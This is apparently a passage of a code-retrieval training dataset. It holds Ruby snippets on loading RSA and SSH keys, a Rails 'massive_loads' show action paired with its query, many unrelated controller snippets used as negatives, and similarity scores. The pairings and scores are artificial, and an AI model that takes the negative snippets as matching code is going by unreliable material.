'#{key}'.\")\n end\n end", "def read_file(path, key)\n file = IO.read(path)\n JSON.parse(file)[key]\n end", "def gen_rsa_pub_key(priv_key, priv_key_password = nil)\n # if the file exists try to read the content\n # if not assume we were passed the key and set the string to the content\n key_content = ::File.exist?(priv_key) ? File.read(priv_key) : priv_key\n key = ::OpenSSL::PKey::RSA.new key_content, priv_key_password\n key.public_key.to_pem\n end", "def gen_rsa_pub_key(priv_key, priv_key_password = nil)\n # if the file exists try to read the content\n # if not assume we were passed the key and set the string to the content\n key_content = ::File.exist?(priv_key) ? File.read(priv_key) : priv_key\n key = ::OpenSSL::PKey::RSA.new key_content, priv_key_password\n key.public_key.to_pem\n end", "def fetch_encoded_key\n raise ArgumentError, 'No URL for RsaPublicKey configured' unless url\n\n if remote?\n res = HTTParty.get(url)\n raise FetchError, res.inspect unless (200..299).include? res.code\n res.body\n else\n File.read(url)\n end\n end", "def public_key_file(callerid = nil)\n if @initiated_by == :client\n return server_public_key\n else\n if callerid =~ /cert=([\\w\\.\\-]+)/\n cid = $1\n\n if File.exist?(\"#{client_cert_dir}/#{cid}.pem\")\n return \"#{client_cert_dir}/#{cid}.pem\"\n else\n raise(\"Could not find a public key for #{cid} in #{client_cert_dir}/#{cid}.pem\")\n end\n else\n raise(\"Caller id is not in the expected format\")\n end\n end\n end", "def public_key\n Akero.replate(@cert.to_s, Akero::PLATE_CERT)\n end", "def extract_key(key, password = nil)\n return nil unless key\n\n case key\n when Proc then extract_key_from_proc(key, password)\n when Symbol then extract_key_from_method(key, password)\n when ::OpenSSL::PKey::RSA then key\n else\n key = retrieve_key_string_from_stream(key)\n return ::OpenSSL::PKey::RSA.new(key) if password.nil?\n ::OpenSSL::PKey::RSA.new(key, password.to_s)\n end\n end", "def load(key_store_file, password)\n\n end", "def read(key)\n perform_read(:read, key)\n end", "def decode_public_key(raw, offset=0, algo=nil)\n total_read = 0\n\n if algo.nil?\n algo, read = decode_string(raw, offset + total_read)\n total_read += read\n end\n\n unless fields = KEY_FIELDS_BY_PUBLIC_KEY_ALGO[algo]\n raise AlgorithmError, \"unknown algorithm: #{algo.inspect}\"\n end\n\n data, read = decode_fields(raw, fields, offset + total_read)\n total_read += read\n\n data[:algo] = algo\n\n [data, total_read]\n end", "def private_key\n return @priv_key unless @priv_key.nil?\n\n # Verify that the given directory exists\n unless File.directory?(resource[:priv_key_dir])\n raise ArgumentError, \"Directory not found for: #{resource[:priv_key_dir]}\"\n end\n\n priv_key_path = File.join(resource[:priv_key_dir], resource[:priv_key_name])\n @priv_key = if Pathname.new(priv_key_path).exist?\n file = File.read(priv_key_path)\n OpenSSL::PKey.read(file, resource[:priv_key_password])\n else\n false\n end\n end", "def public_key\n @key ||= File.read(\"#{ENV['HOME']}/.ssh/id_rsa.pub\")\nend", "def shell_registry_loadkey(key, file)\n key = normalize_key(key)\n shell_registry_cmd_result(\"load \\\"#{key}\\\" \\\"#{file}\\\"\")\n end", "def private_key_pem\n @private_key.to_pem\n end", "def transcend_public_key\n connection = Faraday.new() do |conn|\n conn.request :authorization, 'Bearer', $TRANSCEND_API_KEY\n conn.method :get\n end\n response = connection.get($PUBLIC_KEY_URL)\n OpenSSL::PKey.read(response.body)\nend", "def public_key_string\n [@public_key.to_s].pack(\"m*\").gsub(\"\\n\", \"\")\n end", "def read(key)\n if ::File.file?(full_key(key))\n ::File.read(full_key(key))\n elsif ::File.directory?(full_key(key))\n Dir.entries('.')[2..-1] #don't return the . and .. directories\n end\n end", "def ssl_key\n OpenSSL::PKey::RSA.new(File.read(self.class.ssl_key_path))\n rescue => e\n # :nocov:\n Rails.logger.warn \"Could not load #{service_name} SSL key: #{e.message}\"\n raise e if Rails.env.production?\n\n nil\n # :nocov:\n end", "def load\n # read the keystore file and extract the parts\n file = File.read(@config[:filename])\n encrypted_key = file[0,128]\n iv = file[128,16]\n ciphertext = file[144, file.length - 144]\n \n # decrypt the KEK\n kek = @config[:SSLPrivateKey].private_decrypt(encrypted_key)\n \n # decrypt the keystore with the KEK and IV\n cipher = get_cipher\n cipher.decrypt(kek)\n cipher.iv = iv\n ksdata = cipher.update(ciphertext)\n ksdata << cipher.final\n \n # remove the random offset and reanimate the keystore\n offset = ksdata.slice!(0,2).unpack(\"n\").first\n ksdata.slice!(0,offset)\n @ks = Marshal.restore(ksdata)\n end", "def keyfile(key)\n keyfile = Tempfile.new(\"ec2_private.key\")\n key_material = \"\"\n key.split(\"\\n\").each { |line| key_material+=\"#{line.strip}\\n\" if line.strip.size>0 }\n keyfile.write(key_material) && keyfile.close\n puts \"[*] Using #{keyfile.path} as private key\"\n keyfile.path\n end", "def key_path\n @key_path || Utils.filesystem_name(name) + '.pem'\n end", "def cert_key\n @cert_key ||= (OpenSSL::PKey.read(File.read(cert_key_file), cert_key_password) if cert_key_file)\n end", "def s3_read(key)\n obj = @s3.get_object bucket: ENV.fetch(\"AWS_BUCKET\"), key: key\n obj.body.read\n end", "def load_data_private_key(data, passphrase = T.unsafe(nil), ask_passphrase = T.unsafe(nil), filename = T.unsafe(nil), prompt = T.unsafe(nil)); end", "def get_as_bytes(key)\n return nil unless Bindings.valid_secret_key?(key)\n\n p = File.join(@root, key)\n\n return nil unless File.exist?(p) && File.file?(p)\n\n File.read(p, mode: \"rb\").bytes\n end", "def get_public_key(private_key)\n PointG1.from_private_key(private_key)\n end", "def public_key_file=(file)\n @public_key_file = file and load_public_key\n end", "def key_path=(path)\n raise ArgumentError.new(\"The signing key could not be found at #{path}\") unless File.exists?(path)\n @key_path = path\n self.key=(File.readlines(path).join(\"\"))\n end", "def parse_key(string)\n @key_factory.parse(string)\n end", "def masa_pki\n masakey.public_key.to_der\n end", "def initialize(private_key, opts = { public_key: nil, passphrase: nil })\n if private_key.is_a? OpenSSL::PKey::RSA\n @private_key = private_key\n elsif !private_key.to_s.eql?('')\n @private_key = OpenSSL::PKey::RSA.new(\n if File.exists?(File.expand_path(private_key))\n File.read(File.expand_path(private_key))\n else\n private_key\n end,\n opts[:passphrase]\n )\n unless @private_key.private?\n raise(\n Cryptic::InvalidKey,\n \"Public key '#{private_key}' provided as a private key.\"\n )\n end\n end\n\n if public_key.is_a? OpenSSL::PKey::RSA\n @public_key = public_key\n else\n @public_key = OpenSSL::PKey::RSA.new(\n if opts[:public_key] && File.exists?(File.expand_path(opts[:public_key].to_s))\n File.read(File.expand_path(opts[:public_key].to_s))\n elsif opts[:public_key]\n opts[:public_key]\n else\n @private_key or raise(Cryptic::KeyNotFound)\n end,\n opts[:passphrase]\n ).public_key\n end\n rescue OpenSSL::PKey::RSAError => e\n if e.message.eql? 'Neither PUB key nor PRIV key:: not enough data'\n if @private_key.nil?\n raise Cryptic::InvalidKey, \"Invalid private key: #{private_key}\"\n elsif @public_key.nil?\n raise Cryptic::InvalidKey, \"Invalid public key: #{public_key}\"\n end\n elsif e.message.eql? 'Neither PUB key nor PRIV key:: nested asn1 error'\n raise Cryptic::IncorrectPassphrase, \"Unable to open private key:\n '#{private_key}'. was the passphrase valid?\"\n else\n raise e\n end\n end", "def public_key\n # Base64 encode without line feeds\n Base64.strict_encode64(public_key_raw)\n end", "def extract_public_key(options)\n extract_key(options[:public_key] || options[:key_pair] || ENV['PUBLIC_KEY'])\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def public_key\n @public_key.to_der\n end", "def load_private_key(path, password: nil)\n file_name = File.expand_path path\n if !File.exists?(file_name)\n file_name += \".private.unikey\"\n raise NotFoundException.new(path) unless File.exists?(file_name)\n end\n open(file_name, 'rb') { |f| Universa::PrivateKey.from_packed(f.read, password: password) }\n end", "def get(key)\n s3_read key\n end", "def public_key_file=(file)\n @public_key_file = file and load_public_key\n end", "def [](key)\n sanitized_key = sanitize_key(key)\n return unless @mongo.exist?(:filename => sanitized_key)\n object = @mongo.get sanitized_key\n data = object.read\n Marshal.load data if data\n end", "def verify_keyfile! keyfile\n if keyfile.nil?\n fail \"You must provide a keyfile to connect with.\"\n elsif !::File.file?(keyfile)\n fail \"The keyfile '#{keyfile}' is not a valid file.\"\n end\n end", "def require_key\n fail 'No private key loaded' unless @private_key\n end", "def decrypt(private_key_file, passphrase = nil)\n if File.exists?(private_key_file.to_s)\n private_key = OpenSSL::PKey::RSA.new(File.read(private_key_file), passphrase)\n decoded_string = decode(@data)\n private_key.private_decrypt(decoded_string)\n else\n private_key = OpenSSL::PKey::RSA.new(private_key_file, passphrase)\n decoded_string = decode(@data)\n private_key.private_decrypt(decoded_string)\n end\n rescue => e\n $stderr.puts e\n raise Cryptic::KeyNotFound\n end", "def from_simple_key(key)\n key\n end", "def create_public_private_rsa_key_pair_strings\r\n private_key = OpenSSL::PKey::RSA.new(2048)\r\n public_key = private_key.public_key\r\n private_public_key_strings_pair = {\r\n 'private_key_string' => private_key,\r\n 'public_key_string' => public_key\r\n }\r\n puts 'The randomly generated 2048-bit RSA private key string is:'\r\n puts private_public_key_strings_pair['private_key_string']\r\n puts 'The corresponding 2048-bit public key string is:'\r\n puts private_public_key_strings_pair['public_key_string']\r\n puts 'Keep a record of these key strings. You will not be able to properly ' \\\r\n 'encrypt and decrypt the contents of objects without these keys.'\r\n return private_public_key_strings_pair\r\nend", "def read(key)\n bucket.objects[key].read\n rescue AWS::S3::Errors::NoSuchKey\n nil\n end", "def private_key\n @private_key.to_der\n end" ]
[ "0.7665029", "0.7504883", "0.7479482", "0.7419644", "0.71676993", "0.7140331", "0.70959246", "0.69676566", "0.69471055", "0.6920051", "0.68965715", "0.68662006", "0.6846193", "0.66990745", "0.6673823", "0.66323", "0.6624135", "0.6595776", "0.6555211", "0.65393186", "0.65076613", "0.65076613", "0.64994866", "0.64278483", "0.64233696", "0.641382", "0.6412901", "0.63887995", "0.6383056", "0.6364205", "0.6341167", "0.6331101", "0.63228005", "0.6317942", "0.63133454", "0.6310894", "0.6310352", "0.63010705", "0.62715584", "0.62614113", "0.62537557", "0.6233584", "0.62178284", "0.6216811", "0.6213326", "0.6203803", "0.6201852", "0.6198914", "0.61544126", "0.61533725", "0.6150181", "0.6150068", "0.6141088", "0.6131404", "0.6131107", "0.61304045", "0.61304045", "0.6111753", "0.60957897", "0.60809445", "0.6078447", "0.6063081", "0.6061973", "0.6051027", "0.59817475", "0.59667844", "0.59315324", "0.58971065", "0.58957136", "0.58667946", "0.5840276", "0.58391845", "0.5823439", "0.58192134", "0.5810047", "0.58024454", "0.5795661", "0.57698405", "0.57580876", "0.57351005", "0.57343596", "0.57314324", "0.57147914", "0.57131577", "0.5676359", "0.5673185", "0.5657625", "0.565325", "0.5652541", "0.5633529", "0.5630316", "0.56187415", "0.56158096", "0.5582652", "0.5579776", "0.5574794", "0.556853", "0.5559103", "0.55582565", "0.5556755" ]
0.7208378
4
Defines a Hash where the settings shall be stored.
def initialize @settings = Hash.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_settings_hash\n fail 'sub class to implement'\n end", "def get_hash()\n\t\t\treturn @config.clone()\n\t\tend", "def settings\n @settings ||= {}\n end", "def settings\n @settings ||= {}\n end", "def settings\n @settings ||= {}\n end", "def hash\n { hash: @hash, hashType: @hash_type }\n end", "def set(hash)\n hash.each do | key, value |\n setting = settings.find_by_key(key) || settings.new(:key => key)\n setting.value = value\n setting.save!\n end\n end", "def settings\n {}\n end", "def config_data\n {}\n end", "def config\n options.to_smash.deep_merge(opts.to_smash)\n end", "def config\n options.to_smash.deep_merge(opts.to_smash)\n end", "def settings\n # TODO\n {}\n end", "def settings\n @settings ||= {}\n end", "def default_settings=(hash)\n @default_settings = hash\n end", "def storeSettings\n\t\tstore = configStore\n\t\tstore.transaction do\n\t\t\tstore['dice'] = @rangeSlider.value\n\t\t\tstore['times'] = @countSlider.value\n\t\t\tstore['w'] = self.width\n\t\t\th = store['h'] = self.height\n\t\t\tx = store['x'] = self.x\n\t\t\ty = store['y'] = self.y\n\t\t\t@conditions.each_index do |i|\n\t\t\t\tstore[\"condition #{i}\"] = @conditions[i].text\n\t\t\t\tstore[\"formula #{i}\"] = @formulas[i].text\n\t\t\tend\n\t\tend\n\tend", "def hash\n [account, description, host_restriction, id, name, port_restriction, site_assignment, sites].hash\n end", "def type_to_form_ready_hash_logsettings\n {\n # settings: {\n logDir: resource[:logdir],\n logLevel: resource[:serverloglevel],\n maxLogFileAge: resource[:logmaxfileage],\n maxErrorReportsCount: resource[:logmaxerrorreports],\n # },\n }\n end", "def to_hash()\n Hash[\n self.class.settings.map do |key|\n begin\n [key, self[key]]\n rescue ArgumentError\n nil\n end\n end.compact()\n ]\n end", "def hash\n [domain, register_server, transport_protocol, proxy_server, register_server2, transport_protocol2, proxy_server2, register_server3, transport_protocol3, proxy_server3, registration_expire_time, user_name, password, authorization_name, user_email, voice_mail].hash\n end", "def type_to_form_ready_hash_site\n {\n username: resource[:username],\n password: resource[:password],\n configStoreConnection: JSON.generate(type_to_form_ready_hash_configstore),\n settings: JSON.generate(type_to_form_ready_hash_logsettings),\n runAsync: false,\n }\n end", "def hash(name = nil, options = nil)\n return super() unless name # Allow Object.hash\n set_default_options(name, options)\n super(name, options)\n end", "def hash\n [account_id, account_name, is_default, base_uri, organization].hash\n end", "def custom_settings\n hash = HashWithIndifferentAccess.new\n configurations.each do |c|\n case c.data_type\n when :boolean\n value = c.value == 'true' ? true : false\n when :integer\n value = c.value.to_i\n when :string\n value = c.value\n else\n raise 'not implemented'\n end\n hash[c.key] = value # cast\n end\n hash\n end", "def as_hash\n @settings.each_with_object({}) do |(name, config), result|\n config.each_pair do |key, value|\n result[\"#{name}_#{key}\"] = value\n end\n end\n end", "def config_hash\n digest = Digest::MD5.hexdigest(\n \"#{@x}-#{@y}-#{@hires_factor}-#{@render_type}-#{@format}-#{CONVERTER_VERSION}\")\n digest\n end", "def get_settings\n settings = {}\n settings['sharing_scope'] = self.sharing_scope\n settings['access_type'] = self.access_type\n settings['use_custom_sharing'] = self.use_custom_sharing\n settings['use_whitelist'] = self.use_whitelist\n settings['use_blacklist'] = self.use_blacklist\n return settings\n end", "def settings\n {}\n end", "def settings\n {}\n end", "def hash\r\n @_hash ||= _hash\r\n end", "def to_hash\n configuration\n end", "def to_hash\n self.config.to_hash\n end", "def initialize(*args)\n super\n # hash = {}\n end", "def config_store; end", "def initialize\n\t\t\t@hash = {}\n\t\tend", "def hash\n [id, default_ldap, default_from_address, portal_url_override, site_url, logo_path, contact_sync, server_time_zone, default_calendar, default_address_format, use_ssl_flag, sync_leads_flag, include_portal_link_flag, use_expanded_format_time_flag, use_expanded_format_activity_flag, update_member_time_zones_flag, _info].hash\n end", "def hashes=(value)\n @hashes = value\n end", "def hash\n [key, name, description, kind, creation_date, include_in_snippet, temporary, maintainer_id, tags, variations, goal_ids, _version, custom_properties, _links, _maintainer, environments, archived_date, archived, client_side_availability, defaults].hash\n end", "def options\n @options ||= Hash.new{ |h, k| h[k] = {} }\n end", "def optionsHash(length = 12)\n # Don't want to always need this as this may be difficult to compile\n require 'sha3'\n\n # Get only hash relevant options\n # Filter out paths\n toHash = @Options.reject { |i| i =~ %r{.*/.*(/|$)}i }\n\n # Reject some known keys\n toHash.delete :epoch\n\n SHA3::Digest::SHA256.hexdigest(JSON.generate(toHash).to_s)[0..length - 1]\n end", "def site_data_hash; end", "def default_settings\n {}\n end", "def hash\n [allow_insecure_certificates, basic_auth, body, body_type, cookies, device_ids, follow_redirects, headers, locations, metadata, public_id, _retry, start_url, variables].hash\n end", "def hash\n [author, created_at, dashboard_id, dashboard_type, global_time, global_time_selectable_enabled, public_url, selectable_template_vars, share_list, share_type, token].hash\n end", "def hash\n [cluster, options].hash\n end", "def hash\n [cluster, options].hash\n end", "def initialize\n @hash_dict = {}\n end", "def initialize\n @hash = {}\n end", "def initialize\n @hash = {}\n end", "def auth_settings\n {\n }\n end", "def auth_settings\n {\n }\n end", "def auth_settings\n {\n }\n end", "def peer_hash_defaults(phash)\n\t\t\tdata = phash.dup\n\t\t\tdata[:port] ||= 3333 # @todo Network;:DEFAULT_PORT\n\t\t\tdata[:name] ||= \"SwarmNode_#{data[:uuid]}\"\n\t\t\tdata[:hive_version] ||= hive_version\n\t\t\tdata[:handler] ||= handler_type\n\t\t\tdata[:protocol] ||= protocol_type\n\t\t\tdata[:ssl] ||= 1\n\t\t\tdata[:peers] ||= []\n\t\t\tif data[:peers].is_a?(Array)\n\t\t\t\tdata[:peers] = data[:peers].join(',')\n\t\t\tend\n#\t\t\tdata[:created_at] ||= DateTime.now.to_s\n#\t\t\tdata[:updated_at] ||= DateTime.now.to_s\n\t\t\tdata\n\t\tend", "def configuration\n {}\n end", "def to_hash\n ChefConfig::Config.save(true)\n end", "def set_secret_hash(opts = {})\n unless ['md5', 'sha512', nil].include?(opts[:value])\n raise ArgumentError, 'secret hash must be md5 or sha512'\n end\n cmd = command_builder(\"secret hash #{opts[:value]}\")\n cmds = ['management defaults', cmd]\n configure(cmds)\n end", "def hash\n [prefix, postfix, snippet_count, fragment_size, max_analyzed_chars, merge_contiguous, use_phrase_highlighter, fields].hash\n end", "def hash\n [ name, database, password ].hash\n end", "def payment_gateway_options=(hash)\n gateway_setting.gateway_settings = hash\n end", "def hash\n [self.class, db, opts].hash\n end", "def defaults\n Hash(@config[:defaults])\n end", "def to_configure_vapp_hash\n {\n :name => name,\n :cpus => cpus,\n :memory => memory,\n :disks => disks.map {|d| { :number => d.address.to_s, :size => d.vcloud_size, :resource => d.vcloud_size.to_s } }\n }\n end", "def to_configure_vapp_hash\n {\n :name => name,\n :cpus => cpus,\n :memory => memory,\n :disks => disks.map {|d| { :number => d.address.to_s, :size => d.vcloud_size, :resource => d.vcloud_size.to_s } }\n }\n end", "def hash\n @hash ||= Hash.new { |h, k| h[k] = Hash.new(&h.default_proc) }\n end", "def config\n @config = ActiveSupport::HashWithIndifferentAccess.new(@config) if @config.is_a? Hash\n @config\n end", "def hash\n\t\t(language + type + klass + thing).hash\n\tend", "def hash\n [_self, _links, _schema, _revision, _system_owned, display_name, description, tags, _create_user, _protection, _create_time, _last_modified_time, _last_modified_user, id, resource_type, ip_protocol, server_tcp_profile_id, sorry_pool_id, port, server_ssl_profile_binding, pool_id, client_tcp_profile_id, default_pool_member_port, access_log_enabled, application_profile_id, max_concurrent_connections, rule_ids, max_new_connection_rate, persistence_profile_id, client_ssl_profile_binding, default_pool_member_ports, ip_address, ports, enabled].hash\n end", "def settings\r\n Mutable[self]\r\n end", "def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end", "def hash\n [opt_id, wallet_payer, wallet_receiver, total_amount, commission_amount, comment, return_url, cancel_url, error_url, first_name_payer, last_name_payer, email_payer, style, atos_style, notif_url, options].hash\n end", "def settings\n @settings ||= self.class.settings.dup\n end", "def hash\n [_hash, name, owner].hash\n end", "def to_hash\n @configuration_data\n end", "def serializable_hash(options)\n hash = super(options)\n extra_hash = {\n 'project' => project,\n }\n hash.merge!(extra_hash)\n end", "def initialize\n\t\t\t\t@options = {}\n\t\t\t\t@config = {}\n\t\t\t\t@hashes = Array.new\n\t\t\t\t@files_of_hashes = Array.new\n\t\t\t\t@sites = Array.new\n\t\t\t\t@uploads = Array.new\n\t\t\tend", "def hash\n [is_disabled, action_type, external_url, target_slide_index, target_frame, tooltip, history, highlight_click, stop_sound_on_click, color_source, sound_base64].hash\n end", "def type_to_form_ready_hash_configstore\n {\n type: resource[:configstoretype],\n connectionString: resource[:configdir],\n move: true,\n runAsync: false,\n }\n end", "def hash\n [format, text_compression, embed_full_fonts, compliance, sufficient_resolution, jpeg_quality, draw_slides_frame, show_hidden_slides, save_metafiles_as_png, password, embed_true_type_fonts_for_ascii, additional_common_font_families, notes_position, comments_position, comments_area_width, comments_area_color, show_comments_by_no_author, image_transparent_color, apply_image_transparent].hash\n end", "def init_quick_defaults\n @quick_defaults=Hash.new\n @quick_defaults['enabled']=false\n @quick_defaults['launch']='ONETIME'\n @quick_defaults['launch_now']=true\n @quick_defaults['description']='Created with nessus_rest'\n end", "def hash\n [uri, parameters, username, password, verify_mode].hash\n end", "def config_file_settings\n Chef::Config[:knife].save(false) # this is like \"dup\" to a (real) Hash, and does not include default values (just user set values)\n end", "def hash\n @hash ||= self.to_a.hash\n end", "def to_hash\n @configuration\n end", "def to_hash\n @configuration\n end", "def hash\n [client_id, secret, client_name, language, country_codes, user, products, additional_consented_products, required_if_supported_products, webhook, access_token, link_customization_name, redirect_uri, android_package_name, institution_data, account_filters, eu_config, institution_id, payment_initiation, deposit_switch, employment, income_verification, base_report, consumer_report_permissible_purpose, auth, transfer, update, identity_verification, statements, user_token, investments, investments_auth, hosted_link].hash\n end", "def init_global_data(settings)\n Oj.load(File.read('assets/config/rune.rb.json')).each do |key, value|\n settings[key.upcase.to_sym] = value\n end\n settings[:STORAGE_TYPE] = settings[:STORAGE_TYPE].to_sym\n settings[:CONNECTION] = case settings[:STORAGE_TYPE]\n when :sqlite\n Sequel.sqlite('assets/sample.db3', pragma: :foreign_keys)\n when :postgres\n else Sequel.sqlite('assets/sample.db3')\n end\n settings[:PROTOCOL] = settings[:PROTOCOL].to_sym\n end", "def settings\n Thread.current[:shoppe_settings] ||= Shoppe::Settings.new(Shoppe::Setting.to_hash)\n end", "def default_settings()\n @default_settings ||= {}\n end", "def hash\n [is_bot, is_tor_node, is_threat, is_eu, location, currency_code, currency_name, region_area, subregion_area].hash\n end", "def serializable_hash(options = T.unsafe(nil)); end", "def initialize hash\n @hash = hash\n end", "def set_options(hash)\n hash.keys.each do |key|\n var = '@' << key.to_s\n # = 1.9.* Fix\n # The map method applied on instance_variables is used to force elements to be String\n # because on 1.9.* Ruby versions, these elements are Symbol (i.e. :@directory).\n raise(\"Key #{key} not supported.\") unless instance_variables.map {|v| v.to_s}.include? var\n instance_variable_set(var, hash[key])\n end\n end", "def config_to_hash\n data = {}\n Pkg::Params::BUILD_PARAMS.each do |param|\n data.store(param, self.instance_variable_get(\"@#{param}\"))\n end\n data.store(:platform_data, platform_data)\n data\n end", "def hash\n @hash ||= @client.get_hash(path)\n @hash\n end", "def hash\n @hash ||= @client.get_hash(path)\n @hash\n end", "def settings(current_user=nil)\n\t\tsettings = Hash.new\n\n\t\teditor_data = JSON.parse(self.editor_data) rescue {}\n\t\t\n\t\t#Game metadata\n\t\tsettings[\"game_metadata\"] = {}\n\t\tsettings[\"game_metadata\"][\"title\"] = self.title\n\t\tsettings[\"game_metadata\"][\"id\"] = self.id.to_s\n\t\tsettings[\"game_metadata\"][\"description\"] = self.description\n\t\tsettings[\"game_metadata\"][\"thumbnail\"] = self.thumbnail_url\n\n\t\t#Learning objects\n\t\tsettings[\"los\"] = {}\n\t\tself.los.each do |lo|\n\t\t\tsettings[\"los\"][lo.id.to_s] = lo.sgame_metadata\n\t\tend\n\n\t\t#Event Mapping\n\t\tsettings[\"events\"] = {}\n\t\tsettings[\"event_mapping\"] = {}\n\t\tmappings = self.mappings\n\t\tself.events.each do |event|\n\t\t\tsettings[\"events\"][event.id_in_game.to_s] = event.sgame_metadata\n\t\t\tsettings[\"event_mapping\"][event.id_in_game.to_s] = mappings.where(:game_template_event_id => event.id).map{|m| m.lo_id.to_s}.uniq\n\t\tend\n\n\t\t#Sequencing options\n\t\tsettings[\"sequencing\"] = editor_data[\"sequencing\"].blank? ? {} : editor_data[\"sequencing\"]\n\n\t\t#Game settings\n\t\tsettings[\"game_settings\"] = editor_data[\"settings\"].blank? ? {} : editor_data[\"settings\"]\n\t\tsettings[\"game_settings\"][\"completion_notification_text\"] = I18n.t(\"at.msgs.educational_objectives_achieved\", :locale => (current_user.nil? ? I18n.locale : (Utils.valid_locale?(current_user.ui_language) ? current_user.ui_language : :en)))\n\n\t\treturn settings\n\tend", "def update_settings hash\n update settings: settings.merge(hash)\n save\n end", "def data_hash\n @data_hash ||= Hashie::Mash.new(sanitize_data(self.data || {}).reverse_merge(built_in_variables))\n end", "def initialize(hash, base_key, options_hash = {})\n self.options = options_hash\n\n @hash = hash\n @base_key = base_key\n end", "def hash\n [access_key_id, address, arn, aws_session_name, connection_type, event_source, exchange_server_hostname, exchange_user, folder_path, id, ldap_server, links, name, port, protocol, region, scan_engine_is_inside_aws, secret_access_key, status, username, win_rm_server].hash\n end", "def user_data(hsh={})\n @settings[:user_data].merge!(hsh.to_hash) unless hsh.empty?\n @settings[:user_data]\n end" ]
[ "0.6881182", "0.6396867", "0.6324798", "0.6324722", "0.6324722", "0.62126184", "0.6186993", "0.61590725", "0.6141547", "0.61076856", "0.61076856", "0.6092059", "0.6077155", "0.6067312", "0.60390234", "0.6017331", "0.6014908", "0.6010474", "0.6008598", "0.5987738", "0.59783596", "0.59454614", "0.5922125", "0.5908954", "0.59068424", "0.59068143", "0.5890712", "0.5890712", "0.5852115", "0.582423", "0.5822182", "0.5800978", "0.5795763", "0.57853687", "0.57769537", "0.57444143", "0.57441956", "0.5743541", "0.57421", "0.5739725", "0.57295257", "0.57284933", "0.57284045", "0.5728392", "0.5728392", "0.572428", "0.5699369", "0.5699369", "0.5670357", "0.5670357", "0.5670357", "0.5664303", "0.56588423", "0.5651212", "0.564886", "0.562519", "0.5621708", "0.56196916", "0.56188226", "0.56163496", "0.5607259", "0.5607259", "0.560719", "0.56059664", "0.55985177", "0.5595411", "0.5590121", "0.55826485", "0.5578383", "0.55736977", "0.55727553", "0.5570268", "0.55601555", "0.5558011", "0.55578244", "0.5557425", "0.5553695", "0.5548511", "0.55445516", "0.553109", "0.55308604", "0.5511979", "0.5511979", "0.55102015", "0.55087537", "0.5503929", "0.5502603", "0.55021137", "0.5501416", "0.54923844", "0.54897696", "0.5482968", "0.54805523", "0.54805523", "0.54799414", "0.5476048", "0.5475958", "0.54749", "0.5470621", "0.5469805" ]
0.70030916
0
GET /massive_loads/1 GET /massive_loads/1.json
def show @massive_load = MassiveLoad.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @massive_load } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @massive_load = MassiveLoad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @massive_load }\n end\n end", "def index\n @loads = Load.all\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @load }\n end\n end", "def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end", "def index\n @loadbalancers = getmydata(\"Loadbalancer\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loadbalancers }\n end\n end", "def create\n @massive_load = MassiveLoad.new(params[:massive_load])\n\n respond_to do |format|\n if @massive_load.save\n read_excel\n format.html { redirect_to @massive_load, notice: t(:successfully_created) }\n format.json { render json: @massive_load, status: :created, location: @massive_load }\n else\n format.html { render action: \"new\" }\n format.json { render json: @massive_load.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end", "def index\n @local_cpu_summaries = LocalCpuSummary.orderByParms('id desc',params).paginate(:page=>params[:page], :per_page => config.itemsPerPageHTML)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @local_cpu_summaries }\n end\n end", "def index\n @loadings = Loading.all\n end", "def index\n @reserve_stat_has_manifestations = ReserveStatHasManifestation.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @reserve_stat_has_manifestations }\n end\n end", "def show\n @local_cpu_summary = LocalCpuSummary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @local_cpu_summary }\n end\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def index\n @loads = Load.all\n # @inv = Stripe::Invoice.retrieve(Load.find(9).invoice_id)\n end", "def show\n @progress = Progress.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @progress }\n end\n end", "def fetch_job\n JSON.parse(RestClient.get(url).body)\n end", "def index\n @blocks = Block.all\n\n render json: @blocks\n end", "def index\n @mugshots = Mugshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mugshots }\n end\n end", "def show\n respond_to do |format|\n format.html { render layout: false }\n format.json do\n batches = Batch.where(item_id: params[:id])\n render json: batches\n end\n end\n end", "def index\n @github_loads = GithubLoad.all\n end", "def index\n @instances = Instance.all\n render :json => @instances\n end", "def index\n @instances = Instance.all\n render json: @instances\n end", "def index\n @runs = Run.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @runs }\n end\n end", "def price_bulk_load\n logger.info 'PRICE BULK LOAD REQUESTED.'\n FeedWorker.perform_async('price_bulk_load')\n head :accepted\n end", "def index\n #@parts = Part.find(:all, :order => 'part_number')\n\t@used_parts = UsedPart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @used_parts }\n end\n end", "def index\n render json: RequestItem.all\n end", "def index\n @visit_blocks = VisitBlock.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @visit_blocks }\n end\n end", "def index\n @manifestations = Manifestation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @manifestations }\n end\n end", "def index\n @blocks = Block.order(:block_name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @blocks 